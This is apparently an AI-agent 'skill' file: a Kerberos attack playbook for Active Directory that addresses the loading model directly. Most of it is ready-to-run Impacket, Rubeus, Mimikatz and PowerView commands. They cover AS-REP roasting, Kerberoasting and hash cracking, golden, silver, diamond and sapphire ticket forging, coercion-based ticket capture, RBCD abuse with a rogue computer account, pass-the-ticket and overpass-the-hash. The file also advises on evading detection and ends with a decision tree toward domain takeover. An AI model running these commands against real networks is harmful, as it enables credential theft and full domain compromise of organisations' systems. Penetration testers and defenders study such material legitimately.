Active directory kerberos attacks

SKILL: Kerberos Attack Playbook — Expert AD Attack Guide

AI LOAD INSTRUCTION: Expert Kerberos attack techniques for AD environments. Covers AS-REP roasting, Kerberoasting, golden/silver/diamond/sapphire tickets, delegation attacks, pass-the-ticket, and overpass-the-hash. Base models miss ticket type distinctions, delegation chain nuances, and detection-evasion trade-offs.

0. RELATED ROUTING

Before going deep, consider loading:

• active-directory-acl-abuse for ACL-based AD attacks often chained with Kerberos
• active-directory-certificate-services for ADCS-based persistence (golden certificate)
• ntlm-relay-coercion for NTLM relay attacks that complement Kerberos abuse
• windows-lateral-movement after obtaining tickets for lateral movement

Advanced Reference

Also load KERBEROS_ATTACK_CHAINS.md when you need:

• Multi-step attack chains combining Kerberos with ACL abuse, ADCS, and relay
• End-to-end scenarios from foothold to domain admin
• Chained delegation attack flows

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1. KERBEROS AUTHENTICATION PRIMER

Client              KDC (DC)              Service
  │                   │                     │
  │── AS-REQ ────────→│                     │  (1) Request TGT with user creds
  │←─ AS-REP ─────────│                     │  (2) Receive TGT (encrypted with krbtgt hash)
  │                   │                     │
  │── TGS-REQ ───────→│                     │  (3) Present TGT, request service ticket
  │←─ TGS-REP ────────│                     │  (4) Receive TGS (encrypted with service hash)
  │                   │                     │
  │── AP-REQ ─────────────────────────────→│  (5) Present TGS to service
  │←─ AP-REP ──────────────────────────────│  (6) Mutual auth (optional)

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2. AS-REP ROASTING

Users with "Do not require Kerberos preauthentication" can be queried for AS-REP without knowing their password.

Enumerate Vulnerable Users

# Impacket — from Linux
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP -format hashcat -outputfile asrep.txt

# Impacket — with domain creds (enumerate automatically)
GetNPUsers.py DOMAIN/user:password -dc-ip DC_IP -request

# Rubeus — from Windows (domain-joined)
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt

# PowerView — enumerate users
Get-DomainUser -PreauthNotRequired | Select-Object samaccountname

Crack AS-REP Hash

# Hashcat mode 18200
hashcat -m 18200 asrep.txt rockyou.txt --rules-file best64.rule

# John
john asrep.txt --wordlist=rockyou.txt

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3. KERBEROASTING

Any domain user can request TGS for accounts with SPNs. The TGS is encrypted with the service account's NTLM hash.

Request Service Tickets

# Impacket
GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request -outputfile tgs.txt

# Rubeus (from Windows)
Rubeus.exe kerberoast /outfile:tgs.txt

# Rubeus — target specific SPN / high-value accounts
Rubeus.exe kerberoast /user:svc_sql /outfile:tgs_sql.txt

# PowerView + manual request
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/db.domain.com"

Crack TGS Hash

# Hashcat mode 13100 (RC4) or 19700 (AES)
hashcat -m 13100 tgs.txt rockyou.txt --rules-file best64.rule

# RC4 tickets crack much faster than AES256 — target RC4 if possible
# Rubeus: /tgtdeleg forces RC4 on some configs
Rubeus.exe kerberoast /tgtdeleg

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4. TICKET FORGING — GOLDEN, SILVER, DIAMOND, SAPPHIRE

Golden Ticket

Forge TGT using the krbtgt hash → impersonate any user, including non-existent ones.

# Impacket — forge golden ticket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM administrator

# Mimikatz
kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /krbtgt:KRBTGT_HASH /ptt

# Rubeus
Rubeus.exe golden /rc4:KRBTGT_HASH /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /ptt

Prerequisites: krbtgt NTLM hash (from DCSync or NTDS.dit) Persistence: Valid until krbtgt password is changed twice

Silver Ticket

Forge TGS using the service account's hash → access specific service only, no KDC interaction.

# Impacket — forge silver ticket for CIFS (file share)
ticketer.py -nthash SERVICE_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM -spn cifs/target.domain.com administrator

# Mimikatz
kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /target:target.domain.com /service:cifs /rc4:SERVICE_HASH /ptt

Target Service	SPN Format	Use Case
File shares	cifs/host	Access SMB shares
WinRM	http/host	Remote PowerShell
LDAP	ldap/dc	DCSync-like queries
MSSQL	MSSQLSvc/host:1433	Database access
Exchange	http/mail.domain.com	Mailbox access

Diamond Ticket

Modify a legitimately issued TGT → harder to detect than golden ticket.

# Rubeus — request real TGT then modify PAC
Rubeus.exe diamond /krbkey:KRBTGT_AES256 /user:administrator /domain:DOMAIN.COM /dc:DC01.DOMAIN.COM /ticketuser:targetadmin /ticketuserid:500 /groups:512 /ptt

Advantage: The ticket's metadata (timestamps, enc type) matches a real TGT issuance.

Sapphire Ticket

Uses S4U2Self to get a real PAC for the target user, then embeds it in a forged ticket.

# Rubeus
Rubeus.exe diamond /krbkey:KRBTGT_AES256 /ticketuser:administrator /ticketuserid:500 /groups:512 /tgtdeleg /ptt

Advantage: PAC is a genuine copy from KDC, making detection extremely difficult.

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5. DELEGATION ATTACKS

Unconstrained Delegation

Hosts with unconstrained delegation store user TGTs in memory.

# Enumerate (PowerView)
Get-DomainComputer -Unconstrained | Select-Object dnshostname

# Coerce admin authentication → capture TGT (Rubeus monitor mode)
Rubeus.exe monitor /interval:5 /nowrap

# Trigger via PrinterBug / PetitPotam → DC authenticates → TGT captured
SpoolSample.exe DC01.domain.com COMPROMISED_HOST.domain.com

Constrained Delegation (S4U2Proxy)

# Enumerate
Get-DomainComputer -TrustedToAuth | Select-Object dnshostname,msds-allowedtodelegateto

# S4U2Self + S4U2Proxy → get TGS for allowed service as any user
getST.py -spn cifs/target.domain.com -impersonate administrator DOMAIN/svc_account:password -dc-ip DC_IP

# Rubeus
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:administrator /msdsspn:cifs/target.domain.com /ptt

Resource-Based Constrained Delegation (RBCD)

Requires write access to msDS-AllowedToActOnBehalfOfOtherIdentity on the target.

# 1. Create or control a computer account (MAQ > 0)
addcomputer.py -computer-name 'FAKE$' -computer-pass 'P@ss123' -dc-ip DC_IP DOMAIN/user:password

# 2. Set RBCD on target
rbcd.py -delegate-from 'FAKE$' -delegate-to 'TARGET$' -dc-ip DC_IP -action write DOMAIN/user:password

# 3. S4U2Self + S4U2Proxy from controlled account
getST.py -spn cifs/TARGET.DOMAIN.COM -impersonate administrator DOMAIN/'FAKE$':'P@ss123' -dc-ip DC_IP

# 4. Use the ticket
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass DOMAIN/[email protected]

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6. PASS-THE-TICKET & OVERPASS-THE-HASH

Pass-the-Ticket

# Impacket — use .ccache ticket
export KRB5CCNAME=/path/to/ticket.ccache
psexec.py -k -no-pass DOMAIN/[email protected]

# Mimikatz — inject .kirbi ticket into session
kerberos::ptt ticket.kirbi

# Rubeus
Rubeus.exe ptt /ticket:base64_ticket_blob

Overpass-the-Hash (Pass-the-Key)

Use NTLM hash to request a Kerberos TGT → pure Kerberos authentication (avoids NTLM logging).

# Impacket
getTGT.py DOMAIN/user -hashes :NTLM_HASH -dc-ip DC_IP
export KRB5CCNAME=user.ccache

# Rubeus (from Windows)
Rubeus.exe asktgt /user:administrator /rc4:NTLM_HASH /ptt

# Mimikatz
sekurlsa::pth /user:administrator /domain:DOMAIN.COM /ntlm:NTLM_HASH /run:cmd.exe

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7. KERBEROS DOUBLE HOP PROBLEM

When authenticating via Kerberos across two hops (A → B → C), B cannot forward A's credentials to C by default.

Solutions

Method	How	Risk
CredSSP	Sends actual credentials to B	Credential exposure
Unconstrained delegation on B	B stores A's TGT	Over-privileged
Constrained delegation	B allowed to delegate to C	Preferred — scoped
RBCD	C trusts B to delegate	Modern, flexible
Invoke-Command nested	-Credential param in nested session	Exposes password in script

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8. KERBEROS ATTACK DECISION TREE

AD environment — targeting Kerberos
│
├── Have domain user creds?
│   ├── Kerberoast → crack service account hashes (§3)
│   ├── Enumerate users without preauth → AS-REP roast (§2)
│   ├── Enumerate delegation → unconstrained/constrained/RBCD (§5)
│   └── Enumerate SPNs for high-value accounts
│
├── Have service account hash?
│   ├── Silver ticket for that service (§4)
│   └── If constrained delegation → S4U2Proxy chain (§5)
│
├── Have krbtgt hash?
│   ├── Golden ticket → any user, any service (§4)
│   ├── Diamond ticket → stealthier forging (§4)
│   └── Sapphire ticket → hardest to detect (§4)
│
├── Compromised host with unconstrained delegation?
│   ├── Monitor for incoming TGTs (Rubeus monitor)
│   ├── Coerce DC authentication (PrinterBug/PetitPotam)
│   └── Capture DC TGT → DCSync
│
├── Can write to target's msDS-AllowedToActOnBehalfOfOtherIdentity?
│   └── RBCD attack (§5) → create machine account + delegate
│
├── Have NTLM hash but need Kerberos auth?
│   └── Overpass-the-Hash → request TGT (§6)
│
└── Have .kirbi / .ccache ticket?
    └── Pass-the-Ticket → use directly (§6)